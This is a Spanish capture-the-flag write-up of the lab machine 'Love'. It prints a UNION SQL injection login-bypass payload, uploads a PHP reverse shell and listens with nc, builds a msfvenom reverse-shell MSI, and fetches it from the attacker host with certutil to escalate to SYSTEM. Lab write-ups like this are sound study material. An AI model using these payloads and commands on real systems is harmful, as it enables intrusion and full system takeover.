Love

UNION-based SQLi en voting system Windows → file upload PHP shell → AlwaysInstallElevated para escalar a SYSTEM con MSI malicioso.

Machine IP: 10.10.10.239

Reconocimiento

PORT      STATE SERVICE        VERSION
80/tcp    open  http           Apache 2.4.46 (Win64) PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp   open  msrpc
443/tcp   open  ssl/http       Apache 2.4.46
| ssl-cert: commonName=staging.love.htb
445/tcp   open  microsoft-ds   Windows 10 Pro
3306/tcp  open  mysql

Enumeración de directorios:

/admin   → Login panel
/images  → Directorio de imágenes

UNION-based SQL Injection

El /admin tiene un login. Las inyecciones básicas no funcionan directamente. Probando con Caido (similar a Burp) se detectan dos tamaños de respuesta distintos ante ciertos payloads: 351 y 495 chars. El de 495 revela un mensaje de error del servidor.

Payload UNION que funciona:

username=x' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -

El hash bcrypt corresponde a la password @LoveIsInTheAir!!11!. Login exitoso.

File Upload → Reverse Shell

En el panel de Voters se puede subir una foto. Cargamos una PHP reverse shell (Ivan Sincek / revshells.com — opción Windows).

Accedemos a la shell desde la URL del directorio /images:

http://10.10.10.239/omrs/images/shell.php
nc -nvlp 4545
# Shell como: love\phoebe

User Flag

C:\Users\Phoebe\Desktop> type user.txt

Escalada → SYSTEM

winPEAS detecta AlwaysInstallElevated activado en HKLM y HKCU:

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer → AlwaysInstallElevated = 1
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer → AlwaysInstallElevated = 1

Generamos un MSI con msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=4321 \
  --platform windows -a x64 -f msi -o reverse.msi

Transferimos con servidor Python y certutil:

# Atacante
python3 -m http.server 80

# Víctima
certutil.exe -f -urlcache -split http://10.10.14.7/reverse.msi

Ejecutamos con privilegios elevados:

msiexec /quiet /qn /i reverse.msi
C:\WINDOWS\system32> whoami
nt authority\system

ROOT shell obtenida.

Happy Hacking!!